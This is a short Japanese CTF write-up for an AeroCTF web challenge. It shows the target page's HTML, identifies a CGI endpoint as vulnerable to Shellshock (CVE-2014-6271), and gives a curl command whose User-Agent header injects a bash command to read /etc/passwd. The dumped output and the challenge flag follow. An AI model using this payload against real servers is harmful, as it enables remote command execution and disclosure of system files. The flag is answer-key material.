board tracking system

100

Мы разработали продвинутую систему отслеживания параметров борта, нет ли в ней уязвимостей?

We develop advanced board tracking system, is it vulnerable?

Site: http://81.23.11.159:8080/

URLにアクセスすると次のページが表示されます。

1

HTMLソースは次のとおりです。
<html>
<head>
<style>
body, pre {
    color: #7b7b7b;
font: 300 16px/25px "Roboto",Helvetica,Arial,sans-serif;
}
</style>
<meta name="generator" content="vi2html">
</head>
<body>
</br>
Welcome to control plane application of Aeroctf system.</br>
</br>
</br>
On a dashboard you can see loading our system</br>
</br>
Stats:
</br>
<iframe frameborder=0 width=800 height=600 src="/cgi-bin/stats"></iframe>
</body>
</html>
CVE 2014-6271の脆弱性があります。
$ curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd;'" http://81.23.11.159:8080/cgi-bin/stats

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Aero{c58b51bee681ba3aa3971cef7aa26696}
フラグは、
Aero{c58b51bee681ba3aa3971cef7aa26696}
タグ ：
#Web